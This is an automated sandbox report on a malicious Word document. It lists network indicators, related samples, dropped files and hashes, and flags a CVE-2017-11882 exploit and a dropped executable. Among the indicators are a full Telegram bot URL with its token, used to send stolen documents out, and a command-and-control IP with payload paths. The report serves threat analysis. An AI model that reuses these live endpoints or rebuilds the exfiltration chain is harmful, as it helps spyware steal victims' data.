http://fWvVfB.com	RegSvcs.exe, 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org%%startupfolder%	RegSvcs.exe, 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://cdn.discordapp.com	Client.exe, 00000009.00000002.928299566.0000000002101000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984634446.0000000002641000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001971815.000000000264B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ypWPmbJ0rAhp55WcExAk.org	RegSvcs.exe, 00000015.00000002.1193947075.0000000002320000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1194571279.00000000023A6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/server	RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot5520247480:AAEoBq-eVV-KfON2FKSf_2riekCozVDdnus/sendDocumentdocument-----	RegSvcs.exe, 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp	false		high
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	RegSvcs.exe, 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://api.telegram.org	RegSvcs.exe, 0000000A.00000002.987370165.0000000002433000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.987738034.0000000002481000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1004119110.0000000002196000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1194992268.00000000023F5000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1194571279.00000000023A6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net0D	Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Client.exe, 00000009.00000002.928299566.0000000002101000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.987311161.0000000002420000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984634446.0000000002641000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1004034491.0000000002182000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001971815.000000000264B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1194461229.0000000002392000.00000004.00000800.00020000.00000000.sdmp	false		high
https://secure.comodo.com/CPS0	Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://109.206.241.81P	Client.exe, 00000009.00000002.928434749.0000000002140000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984981021.0000000002680000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1002192486.0000000002680000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://api.ipify.org%	RegSvcs.exe, 0000000A.00000002.986080759.0000000002309000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1002709829.0000000002069000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1192835288.0000000002279000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	low
http://crl.entrust.net/2048ca.crl0	Client.exe, 00000009.00000002.928094974.00000000003DD000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.989116143.0000000005870000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 0000000C.00000002.984052209.00000000008A8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000F.00000002.1005830692.0000000006057000.00000004.00000800.00020000.00000000.sdmp, Client.exe, 00000014.00000002.1001151669.000000000054D000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000015.00000002.1196914685.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
109.206.241.81	unknown	Germany	209929	AWMLTNL	false
162.159.135.233	unknown	United States	13335	CLOUDFLARENETUS	false
162.159.133.233	unknown	United States	13335	CLOUDFLARENETUS	false
162.159.134.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	680478
Start date and time: 08/08/202217:17:08	2022-08-08 17:17:08 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	ICPO07082299976.doc
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winDOC@21/15@9/5
EGA Information:	Successful, ratio: 75%
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 120 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .doc Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, conhost.exe, svchost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 2164 because there are no executed function
Execution Graph export aborted for target EQNEDT32.EXE, PID 2612 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:18:14	API Interceptor	83x Sleep call for process: EQNEDT32.EXE modified
17:18:22	API Interceptor	129x Sleep call for process: Client.exe modified
17:18:30	API Interceptor	881x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
149.154.167.220	SecuriteInfo.com.Trojan.DownLoaderNET.447.21602.exe	Get hash	malicious	Browse
	request.exe	Get hash	malicious	Browse
	ContractXXPI.xlsx	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Bulz.937784.5501.exe	Get hash	malicious	Browse
	rust-stealer-xss.exe	Get hash	malicious	Browse
	a0V4cfjFCK.vbs	Get hash	malicious	Browse
	Required Purchase Order Ref 00172288.exe	Get hash	malicious	Browse
	CoRZhrNXxb.xls	Get hash	malicious	Browse
	c6x4iN3EVE.xls	Get hash	malicious	Browse
	VD3kw06iCC.xls	Get hash	malicious	Browse
	zpfIAGKnk7.xls	Get hash	malicious	Browse
	Facturas Pagadas al VencimientoPDF.exe	Get hash	malicious	Browse
	wKQpOZ58Gl.exe	Get hash	malicious	Browse
	RvYALbdIdN.exe	Get hash	malicious	Browse
	I3bn6YJwLc.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetectNet.01.19566.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetectNet.01.19595.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.MSIL.FormBook.IZFA.MTB.26806.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.GenericKD.61167322.14727.exe	Get hash	malicious	Browse
	ZYWXyzZQKo.exe	Get hash	malicious	Browse
109.206.241.81	Contract - Wipak Oy.xlsx	Get hash	malicious	Browse	109.206.241.81/htdocs/zTALg.exe
	t3uEMr422v.exe	Get hash	malicious	Browse	109.206.241.81/htdocs/RdSwQ.exe
	cTdude9J3m.exe	Get hash	malicious	Browse	109.206.241.81:55527/
	uED2AIUn6R.exe	Get hash	malicious	Browse	109.206.241.81/htdocs/AnWLP.exe
	PO 7500093232.exe	Get hash	malicious	Browse	109.206.241.81/htdocs/GsLQA.exe
	System.Activities.exe	Get hash	malicious	Browse	109.206.241.81/htdocs/yCBAj.exe
	SOA for July.exe	Get hash	malicious	Browse	109.206.241.81/htdocs/ZsRSF.exe
	SecuriteInfo.com.MSIL.Downloadergen2.14361.exe	Get hash	malicious	Browse	109.206.241.81/htdocs/RkPHN.exe
	SecuriteInfo.com.Trojan.MSIL.BluStealer.NX.MTB.13214.exe	Get hash	malicious	Browse	109.206.241.81/htdocs/CnBAH.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
cdn.discordapp.com	3F95733711B8F39FF7BC3458FF49EF57CD4411F3A813D.exe	Get hash	malicious	Browse	162.159.134.233
	DECLARATIE EXPORT UK1RO-0108DSV_0381.exe	Get hash	malicious	Browse	162.159.130.233
	FC45728DCDF75985369C218C0386D8B5E3E49FCBCE67B.exe	Get hash	malicious	Browse	162.159.133.233
	Document.pdf.exe	Get hash	malicious	Browse	162.159.134.233
	filedata.exe	Get hash	malicious	Browse	162.159.130.233
	CB7D7FE72BDC9B5C0DA00A175AD4354037473B71F8A9F.exe	Get hash	malicious	Browse	162.159.135.233
	AB479D019576EFD4DD391E0BF3FC1BEDB10367E1ECE71.exe	Get hash	malicious	Browse	162.159.130.233
	W6EwiWgNYe.exe	Get hash	malicious	Browse	162.159.129.233
	F0Zluo0VUe.exe	Get hash	malicious	Browse	162.159.134.233
	tmpuB1xoC.vbs	Get hash	malicious	Browse	162.159.133.233
	7287980C1AFB840A7438471126C0C95C36FEFA79A013F.exe	Get hash	malicious	Browse	162.159.130.233
	Contract - Wipak Oy.xlsx	Get hash	malicious	Browse	162.159.129.233
	3CzQDO1WLI.exe	Get hash	malicious	Browse	162.159.133.233
	57lsAxwpQZ.exe	Get hash	malicious	Browse	162.159.130.233
	DOCUMENTO DE IMPUESTO PREDIAL.exe	Get hash	malicious	Browse	162.159.130.233
	SecuriteInfo.com.Trojan.GenericKD.61167322.14727.exe	Get hash	malicious	Browse	162.159.129.233
	Plasma.exe	Get hash	malicious	Browse	162.159.135.233
	e4.exe	Get hash	malicious	Browse	162.159.129.233
	GnyGIMOLwK.exe	Get hash	malicious	Browse	162.159.133.233
	AxseMjBluY.exe	Get hash	malicious	Browse	162.159.130.233

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TELEGRAMRU	XEwRq24Jzi.exe	Get hash	malicious	Browse	149.154.167.99
	7xDc75eWj9.exe	Get hash	malicious	Browse	149.154.167.99
	JE9fxKRKJj.exe	Get hash	malicious	Browse	149.154.167.99
	SecuriteInfo.com.Trojan.DownLoaderNET.447.21602.exe	Get hash	malicious	Browse	149.154.167.220
	request.exe	Get hash	malicious	Browse	149.154.167.220
	ContractXXPI.xlsx	Get hash	malicious	Browse	149.154.167.220
	9wjhz2j3et.exe	Get hash	malicious	Browse	149.154.167.99
	SecuriteInfo.com.Variant.Bulz.937784.5501.exe	Get hash	malicious	Browse	149.154.167.220
	Nx6jI5VUNl.exe	Get hash	malicious	Browse	149.154.167.99
	rKEgLUOUBV.exe	Get hash	malicious	Browse	149.154.167.99
	2q26XBTFHo.exe	Get hash	malicious	Browse	149.154.167.99
	OYAoPWfEl4.exe	Get hash	malicious	Browse	149.154.167.99
	8Lx0Glwj6L.exe	Get hash	malicious	Browse	149.154.167.99
	rust-stealer-xss.exe	Get hash	malicious	Browse	149.154.167.220
	akJQGjPZB5.exe	Get hash	malicious	Browse	149.154.167.99
	CmK5qu31GG.exe	Get hash	malicious	Browse	149.154.167.99
	X4WDufM5Nt.exe	Get hash	malicious	Browse	149.154.167.99
	da5dINQkNa.exe	Get hash	malicious	Browse	149.154.167.99
	p3pPK1Vc6A.exe	Get hash	malicious	Browse	149.154.167.99
	AGYBQdiv78.exe	Get hash	malicious	Browse	149.154.167.99

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
36f7277af969a6947a61ae0b815907a1	ContractXXPI.xlsx	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	Contract - Wipak Oy.xlsx	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	yHYWC.exe	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	Payment_Advice.docx	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	NEWXORDERX16778612022.xlsx	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	PI 120003638 - CFR R#U00c9VIS#U00c9.xlsx	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	RFQ_07202022.doc	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	#U041f#U0440#U043e#U0435#U043a#U0442.exe	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	Purchase Order 1.doc	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	BL Original Shipping Doc.xlsx	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	BL-220712-001 & PACKING LIST.xlsx	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	TITOL EURO 7280 PAYMENT RECIPE.doc	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	Att_file.xlsx	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	Purchase order 2.xlsx	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	Dhlinvoice.xlsx	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	Electronic Funds TT.xlsx	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	PO.xlsx	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	#30062022 PAYMENT FM.xlsx	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	Nordre Follo_MomSmartClient_x64.msi	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233
	T3yEmiknvv.exe	Get hash	malicious	Browse	149.154.167.220 162.159.135.233 162.159.133.233 162.159.134.233

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Targa image data - Map - RLE 1569 x 65536 x 0 +2 "\005"
Category:	dropped
Size (bytes):	3702
Entropy (8bit):	5.028597528779477
Encrypted:	false
SSDEEP:	96:Jk7Hgwj+mbYf3LSrhlOs0f5aSdHn63DfW:Jk7Awam8fI4s0f5aG
MD5:	F3126E994D3AA1C22F44D22054B5DD3B
SHA1:	BAE4EB99B4C4596B2A11C8384FF412CC187A3D4C
SHA-256:	35C12280A850D4A15DC10F9FB18B2720CBA655212DE843699E883C14BDA6B655
SHA-512:	B0379D6991B4C24E9C0436D9A6CF976714ECEA83269545006B0E0807D8024BBF215E8D1E8DF554738604CD5C5E6C3432DEADFE99E7C823680AA4FEFD4C2348C6
Malicious:	false
Preview:	......;.....!.....................5.@.........................Segoe UI....C.......@.......B.......-...........................A..... . ..... . .....(... ...@.............................................................................................................................................................................................................................................................................................?.........!...A.F.f. . ..... . .....(... ... ................................................................................................................................................................................................................................................................................................................................G .>..:..9..8..8..8..9..:..:..:..:..:..:..:..:..:..:..:..:..:..:..:..:..:..:..:..:..:.i2........K..S(.O$.N!.N!.N!.N!.N".M".M".M".M".M".M".M".M".M".M".M".M".M".M".M".M".N".M".M".O$.S).O".......l

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6D4CCCED.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Targa image data - Map - RLE 28 x 65536 x 0 +2 "\005"
Category:	dropped
Size (bytes):	316
Entropy (8bit):	3.6967553326639724
Encrypted:	false
SSDEEP:	6:Mgt2oto90ogtQFP4ozgwc/GbVJGp+PmgEhSAl9us3qUUu4XC1ynuKb6wdxklct:M+eghObDGUOBwAl9NgXCYnhb6cs0
MD5:	95BB648D6EB9265EEAF0F889731B1E23
SHA1:	631D60A024835F4E53CEB9D0A987CE52FE517DF4
SHA-256:	9639441A9D36E7E4FDA980961B75EEB334540B8CFBCEE71EB3CD857E0A838E0C
SHA-512:	184414EA68092124290049282147070A86172833359404EE26199A36083D720E291D55BB85E4AE1D02504CE841EFBC646760E7CC5AF4088A253AED7B2665C420
Malicious:	false
Preview:	............................................................................`.....&....................... ...f.......&.....MathType.. .........................Times New Roman....._-.e............-.......2.`.......111.....&......................................"System..H...........H.......l.......-.................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	29184
Entropy (8bit):	4.117039762726296
Encrypted:	false
SSDEEP:	384:guc+esp7KCwXIi0bNYvjiq2dDesp7KCwXIi0bw8:gu6W78L0bNYuZdKW78L0bj
MD5:	973FC02BC9B9F4803AA20DB1103B37DD
SHA1:	A8CCDB739569095E773D85F097DA299D32E8DD0D
SHA-256:	CFA62BD8A42B72C6F6E2D65DB2BF56284F0D40A84FEFD56D66E330010E47D8C1
SHA-512:	896F286719C15B96D3ABCC8722F838D320AB2CC39D981D10B1B72C5AF9D0FDFA5C15104B2FA64CF208E60A8D78D7EB7E55E7C1AE582F7BDA3A503F74E52F3C0A
Malicious:	true
Yara Hits:	Rule: EXP_potential_CVE_2017_11882, Description: unknown, Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{B571C632-7DEC-4279-BDFC-1CEF56BCD21F}.tmp, Author: ReversingLabs
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	......................>.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................3...........1...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0.......2...4...5...7...6...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{0FBA591C-1198-4182-9EE3-9B1EEE452FAA}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A57256D0-EBE1-4542-8EF9-B2D4E6FF0AF4}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	1.2588286511700073
Encrypted:	false
SSDEEP:	24:UnMClMu1MClXu5CQJ/6HuJHujJHuguGI150u5p1506MV:UJ1CiHwHUHvp
MD5:	C1EC4C65DBA5BCBB60A05E5A8A8BB166
SHA1:	BDE091AF965162FE367B6532B33177C8297BD90D
SHA-256:	1C7A0AB855519071EB6CF11D3DA398B0F165F18E0BEE6AFD57B62722650AF3C7
SHA-512:	C92F785AC356A2D023F47DF7F648593DCA84433490A1AED36454B8F93F829CE7557A6FD26E5BDFAE32C9D9DAD87E3B5A7D10FE3D1C9049DC5962740564E44839
Malicious:	false
Preview:	P.a.c.k.a.g.e.=......... .P.a.c.k.a.g.e.E.M.B.E.D.E.q.u.a.t.i.o.n...3.=.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................D...F...L.......................................................................................................................................................................................................................................................................................................................................................j....OJ%.QJ%.U..^J%.mH..sH....j....OJ%.QJ%.U..^J%.mH..sH....j....OJ%.QJ%.U..^J%.mH..sH.. .j..f...OJ%.QJ%.U..^J%.mH..sH.

C:\Users\user\AppData\Local\Temp\Client.exe

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	5.009053920991871
Encrypted:	false
SSDEEP:	96:mtxVe3Lmux4xj4g4d4lI7P6GH0bjiCeQwDb1X1bH1krb49J1MvJ1tzNtK:Ie3yuexs3ClIT67KCeV1X1qAr10J1H
MD5:	7E2FF60FD955B39768565DFE645E49C0
SHA1:	7B1E009A4D140A42F1E7B67BD8646A4704782A59
SHA-256:	07A45AA5F41DBEFD3E58E2AD335EEDAFD17317B0026AFC1F907640A119E4F309
SHA-512:	AFA8D0255006324F4B933DC294B9CD630987FC0A9F0B6AC45018A1D6D406A9DF35C43251E1A0796DE84A63026AD3217F97FF22717A87ABD060D93A1FC4CFED40
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 20%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...!..b.............................5... ...@....@.. ....................................@..................................4..W....@.......................`.......3............................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................5......H.......$"..h............................................................0..........s......(.... ....(....r...pr...p(....(.....r...pr...p(....(.......o....(................rL..p....~..........o..........r...p...........r...p...(....o....r...p...........r"..p...(.... ........t....o....&...,..o.......................0..T.......r...p..o.........+;..(....(.......o....].X(....(....Y.....(....(....(.......X...1...0..5.......~.....(......, rT..p.....(....o....s...........~....*.~.

C:\Users\user\AppData\Local\Temp\Client.exe:Zone.Identifier

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:gAWY3n:qY3n
MD5:	FBCCF14D504B7B2DBCB5A5BDA75BD93B
SHA1:	D59FC84CDD5217C6CF74785703655F78DA6B582B
SHA-256:	EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
SHA-512:	AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
Malicious:	true
Preview:	[ZoneTransfer]..ZoneId=3..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\ICPO07082299976.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Tue Mar 8 15:45:53 2022, mtime=Tue Mar 8 15:45:53 2022, atime=Mon Aug 8 23:18:10 2022, length=33775, window=hide
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	4.523180105729946
Encrypted:	false
SSDEEP:	12:8PPWxpRgXg/XAlCPCHaXRBktB/eLX+WE0df/xgigXHCicvbNwVJ8dX5DtZ3YilM9:8PeDn/XThOMa0df/xfgJepwcDv3qYu7D
MD5:	04DCD0B1A7C60F59B36577DA8AF24E27
SHA1:	32B983ED71A1068D2287B94C98EED5FF594AF165
SHA-256:	1589299BDC81D6A1A4759EC986C53615913B50C7D0BBCD8D9B069674629E48F4
SHA-512:	F6FD83C798172B030035E2A37C725AB359CAE23F7B9D90AA83D62237F4F3EB6900ED2CAE788082A256A025A9F030AC956853C16D9D1B072E0DF3B74F7DDEF474
Malicious:	false
Preview:	L..................F.... ...$x...3..$x...3..d)..................................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1.....hT....user.8......QK.XhT.....&=....U...............A.l.b.u.s.....z.1.....hT....Desktop.d......QK.XhT....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....p.2.....UF. .ICPO07~1.DOC..T......hT..hT.....r.....'...............I.C.P.O.0.7.0.8.2.2.9.9.9.7.6...d.o.c.......}...............-...8...[............?J......C:\Users\..#...................\\472847\Users.user\Desktop\ICPO07082299976.doc.*.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.I.C.P.O.0.7.0.8.2.2.9.9.9.7.6...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......472847..........D_....3N...W...9G..N..... ...

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.7730615409020976
Encrypted:	false
SSDEEP:	3:bDuMJl07sXcgDomX1H1qVsXcgDov:bCIDYmDy
MD5:	4F96DD0C46EE4AE90EB200870FC79FC8
SHA1:	14E9CF8B0261A46E6A0097306734781ABA3D17D4
SHA-256:	FFA3709A7DD55B27453F9BAFA44D91E9DD2D3BA04B164B8E3F672D7421492BA4
SHA-512:	EA991D7ECECA8727F65462B8C18BA8CBD25B3417AD3D163075B43EF5D08C42459A8608F389823EB26712D0D35C2406960CAAFD2D610403B665682A49298D9081
Malicious:	false
Preview:	[folders]..Templates.LNK=0..ICPO07082299976.LNK=0..[doc]..ICPO07082299976.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.503835550707525
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyaJybdJylp2bG/WWNJbilFGUld/ln:vdsCkWtz8Oz2q/rViXdH/l
MD5:	7CFA404FD881AF8DF49EA584FE153C61
SHA1:	32D9BF92626B77999E5E44780BF24130F3D23D66
SHA-256:	248DB6BD8C5CD3542A5C0AE228D3ACD6D8A7FA0C0C62ABC3E178E57267F6CCD7
SHA-512:	F7CEC1177D4FF3F84F6F2A2A702E96713322AA56C628B49F728CD608E880255DA3EF412DE15BB58DF66D65560C03E68BA2A0DD6FDFA533BC9E428B0637562AEA
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1h..............2h.............@3h..............3h.....z.......p4h.....x...

C:\Users\user\AppData\Roaming\dazigpcb.bar\Chrome\Default\Cookies
